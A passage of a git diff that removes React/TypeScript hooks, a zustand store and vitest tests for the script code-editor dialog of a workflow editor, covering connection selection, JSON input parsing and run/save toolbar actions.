-            const {[workflowConnectionKey]: removed, ...remainingConnections} = clusterElementValue.connections ?? {};
-
-            workflowDefinition = {
-                ...workflowDefinition,
-                tasks: workflowDefinition.tasks!.map((task) => {
-                    if (task.name === parentTaskName) {
-                        const clusterElement = task.clusterElements![clusterElementType] as ClusterElementItemType;
-
-                        return {
-                            ...task,
-                            clusterElements: {
-                                ...task.clusterElements,
-                                [clusterElementType]: {
-                                    ...clusterElement,
-                                    connections: remainingConnections,
-                                },
-                            },
-                        } as WorkflowTaskType;
-                    }
-
-                    return task;
-                }),
-            };
-        } else {
-            const scriptWorkflowTask = workflowDefinition.tasks?.find((task) => task.name === workflowNodeName);
-
-            if (!scriptWorkflowTask) {
-                return;
-            }
-
-            // eslint-disable-next-line @typescript-eslint/no-unused-vars
-            const {[workflowConnectionKey]: removed, ...remainingConnections} = scriptWorkflowTask.connections ?? {};
-
-            workflowDefinition = {
-                ...workflowDefinition,
-                tasks: workflowDefinition.tasks!.map((task) => {
-                    if (task.name === workflowNodeName) {
-                        return {
-                            ...scriptWorkflowTask,
-                            connections: remainingConnections,
-                        } as WorkflowTaskType;
-                    }
-
-                    return task;
-                }),
-            };
-        }
-
-        updateWorkflowMutation!.mutate(
-            {
-                id: workflow.id!,
-                workflow: {
-                    definition: JSON.stringify(workflowDefinition, null, SPACE),
-                    version: workflow.version,
-                },
-            },
-            {
-                onSuccess: () => {
-                    if (isClusterElement) {
-                        queryClient.invalidateQueries({queryKey: ['clusterElementComponentConnections']});
-                    } else {
-                        queryClient.invalidateQueries({queryKey: ['workflowNodeComponentConnections']});
-                    }
-                },
-            }
-        );
-    };
-
-    return {
-        ConnectionKeys,
-        componentConnections,
-        componentDefinitions,
-        handleCloseConnectionNote,
-        handleOnRemoveClick,
-        handleOnSubmit,
-        setShowNewConnectionDialog,
-        showConnectionNote,
-        showNewConnectionDialog,
-        useCreateConnectionMutation,
-        useGetConnectionTagsQuery,
-        workflowTestConfigurationConnections,
-    };
-};
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsLabel.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsLabel.ts
deleted file mode 100644
index e6ccf039e83..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsLabel.ts
+++ /dev/null
@@ -1,21 +0,0 @@
-import {ComponentConnection} from '@/shared/middleware/platform/configuration';
-import {useGetComponentDefinitionQuery} from '@/shared/queries/platform/componentDefinitions.queries';
-
-interface UsePropertyCodeEditorDialogRightPanelConnectionsLabelProps {
-    componentConnection: ComponentConnection;
-}
-
-const usePropertyCodeEditorDialogRightPanelConnectionsLabel = ({
-    componentConnection,
-}: UsePropertyCodeEditorDialogRightPanelConnectionsLabelProps) => {
-    const {data: componentDefinition} = useGetComponentDefinitionQuery({
-        componentName: componentConnection.componentName,
-        componentVersion: componentConnection.componentVersion,
-    });
-
-    return {
-        componentDefinition,
-    };
-};
-
-export default usePropertyCodeEditorDialogRightPanelConnectionsLabel;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsPopover.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsPopover.ts
deleted file mode 100644
index fad4043996e..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsPopover.ts
+++ /dev/null
@@ -1,32 +0,0 @@
-import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
-import {zodResolver} from '@hookform/resolvers/zod';
-import {useState} from 'react';
-import {useForm} from 'react-hook-form';
-import {z} from 'zod';
-
-import {connectionFormSchema} from '../PropertyCodeEditorDialogRightPanelConnectionsPopover';
-
-const usePropertyCodeEditorDialogRightPanelConnectionsPopover = () => {
-    const [open, setOpen] = useState(false);
-
-    const form = useForm<z.infer<typeof connectionFormSchema>>({
-        defaultValues: {
-            componentName: '',
-            name: '',
-        },
-        resolver: zodResolver(connectionFormSchema),
-    });
-
-    const {useGetComponentDefinitionsQuery} = useWorkflowEditor();
-
-    const {data: componentDefinitions} = useGetComponentDefinitionsQuery!({connectionDefinitions: true});
-
-    return {
-        componentDefinitions,
-        form,
-        open,
-        setOpen,
-    };
-};
-
-export default usePropertyCodeEditorDialogRightPanelConnectionsPopover;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsSelect.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsSelect.ts
deleted file mode 100644
index 8b42ac2f6ef..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnectionsSelect.ts
+++ /dev/null
@@ -1,128 +0,0 @@
-import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
-import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
-import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore';
-import {
-    useSaveClusterElementTestConfigurationConnectionMutation,
-    useSaveWorkflowTestConfigurationConnectionMutation,
-} from '@/shared/middleware/graphql';
-import {ComponentConnection, WorkflowTestConfigurationConnection} from '@/shared/middleware/platform/configuration';
-import {useGetComponentDefinitionQuery} from '@/shared/queries/platform/componentDefinitions.queries';
-import {WorkflowTestConfigurationKeys} from '@/shared/queries/platform/workflowTestConfigurations.queries';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-import {useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UsePropertyCodeEditorDialogRightPanelConnectionsSelectProps {
-    componentConnection: ComponentConnection;
-    workflowId: string;
-    workflowNodeName: string;
-    workflowTestConfigurationConnection?: WorkflowTestConfigurationConnection;
-}
-
-const usePropertyCodeEditorDialogRightPanelConnectionsSelect = ({
-    componentConnection,
-    workflowId,
-    workflowNodeName,
-    workflowTestConfigurationConnection,
-}: UsePropertyCodeEditorDialogRightPanelConnectionsSelectProps) => {
-    const [showNewConnectionDialog, setShowNewConnectionDialog] = useState(false);
-
-    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const currentNode = useWorkflowNodeDetailsPanelStore((state) => state.currentNode);
-    const rootClusterElementNodeData = useWorkflowEditorStore(useShallow((state) => state.rootClusterElementNodeData));
-
-    const isClusterElement = currentNode?.clusterElementType && rootClusterElementNodeData?.workflowNodeName;
-
-    const {
-        ConnectionKeys,
-        useCreateConnectionMutation,
-        useGetComponentDefinitionsQuery,
-        useGetConnectionTagsQuery,
-        useGetConnectionsQuery,
-    } = useWorkflowEditor();
-
-    let connectionId: number | undefined;
-
-    if (workflowTestConfigurationConnection) {
-        connectionId = workflowTestConfigurationConnection.connectionId;
-    }
-
-    const {data: componentDefinition} = useGetComponentDefinitionQuery({
-        componentName: componentConnection.componentName,
-        componentVersion: componentConnection.componentVersion,
-    });
-
-    const {data: componentDefinitions} = useGetComponentDefinitionsQuery({
-        connectionDefinitions: true,
-    });
-
-    /* eslint-disable @typescript-eslint/no-non-null-asserted-optional-chain */
-    const {data: connections} = useGetConnectionsQuery!(
-        {
-            componentName: componentDefinition?.name!,
-            connectionVersion: componentDefinition?.connection?.version,
-        },
-        !!componentDefinition
-    );
-
-    const queryClient = useQueryClient();
-
-    const saveClusterElementConnectionMutation = useSaveClusterElementTestConfigurationConnectionMutation();
-    const saveWorkflowNodeConnectionMutation = useSaveWorkflowTestConfigurationConnectionMutation();
-
-    const handleValueChange = (connectionId: number, workflowConnectionKey: string) => {
-        if (isClusterElement) {
-            saveClusterElementConnectionMutation.mutate(
-                {
-                    clusterElementType: currentNode.clusterElementType!,
-                    clusterElementWorkflowNodeName: currentNode.name,
-                    connectionId,
-                    environmentId: currentEnvironmentId!,
-                    workflowConnectionKey,
-                    workflowId,
-                    workflowNodeName: rootClusterElementNodeData.workflowNodeName,
-                },
-                {
-                    onSuccess: () => {
-                        queryClient.invalidateQueries({
-                            queryKey: WorkflowTestConfigurationKeys.workflowTestConfigurations,
-                        });
-                    },
-                }
-            );
-        } else {
-            saveWorkflowNodeConnectionMutation.mutate(
-                {
-                    connectionId,
-                    environmentId: currentEnvironmentId!,
-                    workflowConnectionKey,
-                    workflowId,
-                    workflowNodeName,
-                },
-                {
-                    onSuccess: () => {
-                        queryClient.invalidateQueries({
-                            queryKey: WorkflowTestConfigurationKeys.workflowTestConfigurations,
-                        });
-                    },
-                }
-            );
-        }
-    };
-
-    return {
-        ConnectionKeys,
-        componentDefinition,
-        componentDefinitions,
-        connectionId,
-        connections,
-        handleValueChange,
-        setShowNewConnectionDialog,
-        showNewConnectionDialog,
-        useCreateConnectionMutation,
-        useGetConnectionTagsQuery,
-    };
-};
-
-export default usePropertyCodeEditorDialogRightPanelConnectionsSelect;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelInput.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelInput.ts
deleted file mode 100644
index f788fd4723e..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelInput.ts
+++ /dev/null
@@ -1,68 +0,0 @@
-import {usePropertyCodeEditorDialogStore} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/usePropertyCodeEditorDialogStore';
-import {useCallback, useEffect, useMemo, useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-type InputValueType = Record<string, unknown>;
-
-interface UsePropertyCodeEditorDialogRightPanelInputPropsI {
-    input: InputValueType;
-}
-
-export const usePropertyCodeEditorDialogRightPanelInput = ({
-    input,
-}: UsePropertyCodeEditorDialogRightPanelInputPropsI) => {
-    const [jsonValue, setJsonValue] = useState(() => JSON.stringify(input, null, 2));
-    const [parseError, setParseError] = useState<string | null>(null);
-
-    const {setInputParameters} = usePropertyCodeEditorDialogStore(
-        useShallow((state) => ({
-            setInputParameters: state.setInputParameters,
-        }))
-    );
-
-    const initialJsonValue = useMemo(() => JSON.stringify(input, null, 2), [input]);
-
-    useEffect(() => {
-        setJsonValue(initialJsonValue);
-        setInputParameters(input);
-        setParseError(null);
-    }, [initialJsonValue, input, setInputParameters]);
-
-    const handleEditorChange = useCallback(
-        (value: string | undefined) => {
-            const newValue = value ?? '';
-
-            setJsonValue(newValue);
-
-            try {
-                const parsedValue = JSON.parse(newValue);
-
-                if (typeof parsedValue === 'object' && parsedValue !== null && !Array.isArray(parsedValue)) {
-                    setInputParameters(parsedValue as InputValueType);
-                    setParseError(null);
-                } else {
-                    setParseError('JSON must be an object');
-                }
-            } catch {
-                setParseError('Invalid JSON');
-            }
-        },
-        [setInputParameters]
-    );
-
-    const handleReset = useCallback(() => {
-        setJsonValue(initialJsonValue);
-        setInputParameters(input);
-        setParseError(null);
-    }, [initialJsonValue, input, setInputParameters]);
-
-    const hasChanges = jsonValue !== initialJsonValue;
-
-    return {
-        handleEditorChange,
-        handleReset,
-        hasChanges,
-        jsonValue,
-        parseError,
-    };
-};
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogToolbar.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogToolbar.ts
deleted file mode 100644
index c1b657e21c4..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogToolbar.ts
+++ /dev/null
@@ -1,177 +0,0 @@
-import {usePropertyCodeEditorDialogStore} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/usePropertyCodeEditorDialogStore';
-import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
-import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore';
-import {MODE, Source, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
-import {useTestClusterElementScriptMutation, useTestWorkflowNodeScriptMutation} from '@/shared/middleware/graphql';
-import {useApplicationInfoStore} from '@/shared/stores/useApplicationInfoStore';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
-import {useCallback} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UsePropertyCodeEditorDialogToolbarProps {
-    language: string;
-    onChange: (value: string | undefined) => void;
-    workflowId: string;
-    workflowNodeName: string;
-}
-
-export const usePropertyCodeEditorDialogToolbar = ({
-    language,
-    onChange,
-    workflowId,
-    workflowNodeName,
-}: UsePropertyCodeEditorDialogToolbarProps) => {
-    const {
-        dirty,
-        editorValue,
-        inputParameters,
-        saving,
-        scriptIsRunning,
-        setCopilotPanelOpen,
-        setSaving,
-        setScriptIsRunning,
-        setScriptTestExecution,
-    } = usePropertyCodeEditorDialogStore(
-        useShallow((state) => ({
-            dirty: state.dirty,
-            editorValue: state.editorValue,
-            inputParameters: state.inputParameters,
-            saving: state.saving,
-            scriptIsRunning: state.scriptIsRunning,
-            setCopilotPanelOpen: state.setCopilotPanelOpen,
-            setSaving: state.setSaving,
-            setScriptIsRunning: state.setScriptIsRunning,
-            setScriptTestExecution: state.setScriptTestExecution,
-        }))
-    );
-
-    const ai = useApplicationInfoStore((state) => state.ai);
-    const setContext = useCopilotStore((state) => state.setContext);
-    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const currentNode = useWorkflowNodeDetailsPanelStore((state) => state.currentNode);
-    const rootClusterElementNodeData = useWorkflowEditorStore(useShallow((state) => state.rootClusterElementNodeData));
-
-    const ff_1570 = useFeatureFlagsStore()('ff-1570');
-
-    const copilotEnabled = ai.copilot.enabled && ff_1570;
-
-    const testClusterElementScriptMutation = useTestClusterElementScriptMutation();
-    const testWorkflowNodeScriptMutation = useTestWorkflowNodeScriptMutation();
-
-    const handleCopilotClick = useCallback(() => {
-        const {
-            context: currentContext,
-            generateConversationId,
-            resetMessages,
-            saveConversationState,
-        } = useCopilotStore.getState();
-
-        saveConversationState();
-        resetMessages();
-        generateConversationId();
-
-        setContext({
-            ...currentContext,
-            mode: MODE.ASK,
-            parameters: {language},
-            source: Source.CODE_EDITOR,
-        });
-
-        setCopilotPanelOpen(true);
-    }, [language, setContext, setCopilotPanelOpen]);
-
-    const handleRunClick = useCallback(() => {
-        setScriptIsRunning(true);
-
-        const isClusterElement = currentNode?.clusterElementType && rootClusterElementNodeData?.workflowNodeName;
-
-        if (isClusterElement) {
-            testClusterElementScriptMutation
-                .mutateAsync({
-                    clusterElementType: currentNode.clusterElementType!,
-                    clusterElementWorkflowNodeName: currentNode.name,
-                    environmentId: currentEnvironmentId!,
-                    inputParameters,
-                    workflowId,
-                    workflowNodeName: rootClusterElementNodeData.workflowNodeName,
-                })
-                .then((result) => {
-                    if (process.env.NODE_ENV === 'development') {
-                        console.log('[usePropertyCodeEditorDialogToolbar] testClusterElementScript result:', result);
-                    }
-
-                    setScriptTestExecution(result.testClusterElementScript);
-                    setScriptIsRunning(false);
-                })
-                .catch((error) => {
-                    if (process.env.NODE_ENV === 'development') {
-                        console.error('[usePropertyCodeEditorDialogToolbar] testClusterElementScript error:', error);
-                    }
-
-                    setScriptTestExecution({
-                        error: {message: error.message || 'An error occurred while executing the script'},
-                    });
-                    setScriptIsRunning(false);
-                });
-        } else {
-            testWorkflowNodeScriptMutation
-                .mutateAsync({
-                    environmentId: currentEnvironmentId!,
-                    inputParameters,
-                    workflowId,
-                    workflowNodeName,
-                })
-                .then((result) => {
-                    if (process.env.NODE_ENV === 'development') {
-                        console.log('[usePropertyCodeEditorDialogToolbar] testWorkflowNodeScript result:', result);
-                    }
-
-                    setScriptTestExecution(result.testWorkflowNodeScript);
-                    setScriptIsRunning(false);
-                })
-                .catch((error) => {
-                    if (process.env.NODE_ENV === 'development') {
-                        console.error('[usePropertyCodeEditorDialogToolbar] testWorkflowNodeScript error:', error);
-                    }
-
-                    setScriptTestExecution({
-                        error: {message: error.message || 'An error occurred while executing the script'},
-                    });
-                    setScriptIsRunning(false);
-                });
-        }
-    }, [
-        currentEnvironmentId,
-        currentNode,
-        inputParameters,
-        rootClusterElementNodeData,
-        setScriptIsRunning,
-        setScriptTestExecution,
-        testClusterElementScriptMutation,
-        testWorkflowNodeScriptMutation,
-        workflowId,
-        workflowNodeName,
-    ]);
-
-    const handleSaveClick = useCallback(() => {
-        setSaving(true);
-
-        onChange(editorValue);
-    }, [editorValue, onChange, setSaving]);
-
-    const handleStopClick = useCallback(() => {
-        console.warn('Stop functionality not yet implemented');
-    }, []);
-
-    return {
-        copilotEnabled,
-        dirty,
-        handleCopilotClick,
-        handleRunClick,
-        handleSaveClick,
-        handleStopClick,
-        saving,
-        scriptIsRunning,
-    };
-};
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/tests/usePropertyCodeEditorDialogStore.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/tests/usePropertyCodeEditorDialogStore.test.tsx
deleted file mode 100644
index 9970445711a..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/tests/usePropertyCodeEditorDialogStore.test.tsx
+++ /dev/null
@@ -1,232 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, describe, expect, it} from 'vitest';
-
-import {usePropertyCodeEditorDialogStore} from '../usePropertyCodeEditorDialogStore';
-
-describe('usePropertyCodeEditorDialogStore', () => {
-    afterEach(() => {
-        act(() => {
-            usePropertyCodeEditorDialogStore.getState().reset();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has correct default values', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            expect(result.current.copilotPanelOpen).toBe(false);
-            expect(result.current.dirty).toBe(false);
-            expect(result.current.editorValue).toBeUndefined();
-            expect(result.current.saving).toBe(false);
-            expect(result.current.scriptIsRunning).toBe(false);
-            expect(result.current.scriptTestExecution).toBeUndefined();
-        });
-    });
-
-    describe('setCopilotPanelOpen', () => {
-        it('sets copilotPanelOpen to true', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setCopilotPanelOpen(true);
-            });
-
-            expect(result.current.copilotPanelOpen).toBe(true);
-        });
-
-        it('sets copilotPanelOpen to false', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setCopilotPanelOpen(true);
-            });
-
-            act(() => {
-                result.current.setCopilotPanelOpen(false);
-            });
-
-            expect(result.current.copilotPanelOpen).toBe(false);
-        });
-    });
-
-    describe('setDirty', () => {
-        it('sets dirty to true', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setDirty(true);
-            });
-
-            expect(result.current.dirty).toBe(true);
-        });
-
-        it('sets dirty to false', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setDirty(true);
-            });
-
-            act(() => {
-                result.current.setDirty(false);
-            });
-
-            expect(result.current.dirty).toBe(false);
-        });
-    });
-
-    describe('setEditorValue', () => {
-        it('sets editor value to a string', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-            const testCode = 'const x = 1;';
-
-            act(() => {
-                result.current.setEditorValue(testCode);
-            });
-
-            expect(result.current.editorValue).toBe(testCode);
-        });
-
-        it('sets editor value to undefined', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setEditorValue('some code');
-            });
-
-            act(() => {
-                result.current.setEditorValue(undefined);
-            });
-
-            expect(result.current.editorValue).toBeUndefined();
-        });
-    });
-
-    describe('setSaving', () => {
-        it('sets saving to true', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setSaving(true);
-            });
-
-            expect(result.current.saving).toBe(true);
-        });
-
-        it('sets saving to false', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setSaving(true);
-            });
-
-            act(() => {
-                result.current.setSaving(false);
-            });
-
-            expect(result.current.saving).toBe(false);
-        });
-    });
-
-    describe('setScriptIsRunning', () => {
-        it('sets scriptIsRunning to true', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setScriptIsRunning(true);
-            });
-
-            expect(result.current.scriptIsRunning).toBe(true);
-        });
-
-        it('sets scriptIsRunning to false', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setScriptIsRunning(true);
-            });
-
-            act(() => {
-                result.current.setScriptIsRunning(false);
-            });
-
-            expect(result.current.scriptIsRunning).toBe(false);
-        });
-    });
-
-    describe('setScriptTestExecution', () => {
-        it('sets scriptTestExecution to an object', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-            const execution = {output: {result: 'test'}};
-
-            act(() => {
-                result.current.setScriptTestExecution(execution);
-            });
-
-            expect(result.current.scriptTestExecution).toEqual(execution);
-        });
-
-        it('sets scriptTestExecution to undefined', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setScriptTestExecution({output: {result: 'test'}});
-            });
-
-            act(() => {
-                result.current.setScriptTestExecution(undefined);
-            });
-
-            expect(result.current.scriptTestExecution).toBeUndefined();
-        });
-    });
-
-    describe('reset', () => {
-        it('resets all state to initial values', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setCopilotPanelOpen(true);
-                result.current.setDirty(true);
-                result.current.setEditorValue('some code');
-                result.current.setSaving(true);
-                result.current.setScriptIsRunning(true);
-                result.current.setScriptTestExecution({output: {result: 'test'}});
-            });
-
-            expect(result.current.copilotPanelOpen).toBe(true);
-            expect(result.current.dirty).toBe(true);
-            expect(result.current.editorValue).toBe('some code');
-            expect(result.current.saving).toBe(true);
-            expect(result.current.scriptIsRunning).toBe(true);
-            expect(result.current.scriptTestExecution).toBeDefined();
-
-            act(() => {
-                result.current.reset();
-            });
-
-            expect(result.current.copilotPanelOpen).toBe(false);
-            expect(result.current.dirty).toBe(false);
-            expect(result.current.editorValue).toBeUndefined();
-            expect(result.current.saving).toBe(false);
-            expect(result.current.scriptIsRunning).toBe(false);
-            expect(result.current.scriptTestExecution).toBeUndefined();
-        });
-    });
-
-    describe('store persistence across rerenders', () => {
-        it('maintains state when component rerenders', () => {
-            const {rerender, result} = renderHook(() => usePropertyCodeEditorDialogStore());
-
-            act(() => {
-                result.current.setEditorValue('persistent code');
-                result.current.setDirty(true);
-            });
-
-            rerender();
-
-            expect(result.current.editorValue).toBe('persistent code');
-            expect(result.current.dirty).toBe(true);
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/usePropertyCodeEditorDialogStore.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/usePropertyCodeEditorDialogStore.ts
deleted file mode 100644
index b03493c7b6f..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/usePropertyCodeEditorDialogStore.ts
+++ /dev/null
@@ -1,53 +0,0 @@
-import {ScriptTestExecution} from '@/shared/middleware/graphql';
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface PropertyCodeEditorStateI {
-    copilotPanelOpen: boolean;
-    dirty: boolean;
-    editorValue: string | undefined;
-    inputParameters: Record<string, unknown> | undefined;
-    saving: boolean;
-    scriptIsRunning: boolean;
-    scriptTestExecution: ScriptTestExecution | undefined;
-}
-
-interface PropertyCodeEditorActionsI {
-    reset: () => void;
-    setCopilotPanelOpen: (open: boolean) => void;
-    setDirty: (dirty: boolean) => void;
-    setEditorValue: (value: string | undefined) => void;
-    setInputParameters: (inputParameters: Record<string, unknown> | undefined) => void;
-    setSaving: (saving: boolean) => void;
-    setScriptIsRunning: (running: boolean) => void;
-    setScriptTestExecution: (execution: ScriptTestExecution | undefined) => void;
-}
-
-type PropertyCodeEditorStoreType = PropertyCodeEditorActionsI & PropertyCodeEditorStateI;
-
-const initialState: PropertyCodeEditorStateI = {
-    copilotPanelOpen: false,
-    dirty: false,
-    editorValue: undefined,
-    inputParameters: undefined,
-    saving: false,
-    scriptIsRunning: false,
-    scriptTestExecution: undefined,
-};
-
-export const usePropertyCodeEditorDialogStore = create<PropertyCodeEditorStoreType>()(
-    devtools(
-        (set) => ({
-            ...initialState,
-            reset: () => set(initialState),
-            setCopilotPanelOpen: (open) => set({copilotPanelOpen: open}),
-            setDirty: (dirty) => set({dirty}),
-            setEditorValue: (value) => set({editorValue: value}),
-            setInputParameters: (inputParameters) => set({inputParameters}),
-            setSaving: (saving) => set({saving}),
-            setScriptIsRunning: (running) => set({scriptIsRunning: running}),
-            setScriptTestExecution: (execution) => set({scriptTestExecution: execution}),
-        }),
-        {name: 'bytechef.property-code-editor-dialog-store'}
-    )
-);
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialog.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialog.test.tsx
deleted file mode 100644
index 78c0e69fd0d..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialog.test.tsx
+++ /dev/null
@@ -1,190 +0,0 @@
-import {TooltipProvider} from '@/components/ui/tooltip';
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialog from '../PropertyCodeEditorDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleCopilotClose: vi.fn(),
-        mockHandleOpenChange: vi.fn(),
-        mockHandleUnsavedChangesAlertDialogCancel: vi.fn(),
-        mockHandleUnsavedChangesAlertDialogClose: vi.fn(),
-        storeState: {
-            copilotPanelOpen: false,
-            unsavedChangesAlertDialogOpen: false,
-        },
-    };
-});
-
-vi.mock('../hooks', () => ({
-    usePropertyCodeEditorDialog: () => ({
-        copilotPanelOpen: hoisted.storeState.copilotPanelOpen,
-        handleCopilotClose: hoisted.mockHandleCopilotClose,
-        handleOpenChange: hoisted.mockHandleOpenChange,
-        handleUnsavedChangesAlertDialogCancel: hoisted.mockHandleUnsavedChangesAlertDialogCancel,
-        handleUnsavedChangesAlertDialogClose: hoisted.mockHandleUnsavedChangesAlertDialogClose,
-        unsavedChangesAlertDialogOpen: hoisted.storeState.unsavedChangesAlertDialogOpen,
-    }),
-}));
-
-vi.mock('../PropertyCodeEditorDialogToolbar', () => ({
-    default: () => <div data-testid="toolbar">Toolbar</div>,
-}));
-
-vi.mock('../PropertyCodeEditorDialogEditor', () => ({
-    default: () => <div data-testid="editor">Editor</div>,
-}));
-
-vi.mock('../PropertyCodeEditorDialogExecutionOutput', () => ({
-    default: () => <div data-testid="execution-output">Execution Output</div>,
-}));
-
-vi.mock('../PropertyCodeEditorDialogRightPanel', () => ({
-    default: () => <div data-testid="right-panel">Right Panel</div>,
-}));
-
-vi.mock('@/shared/components/copilot/CopilotPanel', () => ({
-    default: ({onClose}: {onClose: () => void}) => (
-        <div data-testid="copilot-panel">
-            Copilot Panel
-            <button data-testid="copilot-close" onClick={onClose}>
-                Close
-            </button>
-        </div>
-    ),
-}));
-
-vi.mock('@/components/UnsavedChangesAlertDialog', () => ({
-    default: ({onCancel, onClose, open}: {onCancel: () => void; onClose: () => void; open: boolean}) =>
-        open ? (
-            <div data-testid="unsaved-changes-dialog">
-                <span>Unsaved Changes</span>
-
-                <div>
-                    <button data-testid="cancel-btn" onClick={onCancel}>
-                        Cancel
-                    </button>
-                </div>
-
-                <div>
-                    <button data-testid="close-btn" onClick={onClose}>
-                        Close
-                    </button>
-                </div>
-            </div>
-        ) : null,
-}));
-
-vi.mock('@/components/ui/resizable', () => ({
-    ResizableHandle: () => <div data-testid="resizable-handle" />,
-    ResizablePanel: ({children}: {children: React.ReactNode}) => <div data-testid="resizable-panel">{children}</div>,
-    ResizablePanelGroup: ({children}: {children: React.ReactNode}) => (
-        <div data-testid="resizable-panel-group">{children}</div>
-    ),
-}));
-
-const renderWithProviders = (ui: React.ReactElement) => {
-    return render(<TooltipProvider>{ui}</TooltipProvider>);
-};
-
-describe('PropertyCodeEditorDialog', () => {
-    const defaultProps = {
-        language: 'javascript',
-        onChange: vi.fn(),
-        onClose: vi.fn(),
-        value: 'const x = 1;',
-        workflow: {
-            id: 'workflow-1',
-            tasks: [],
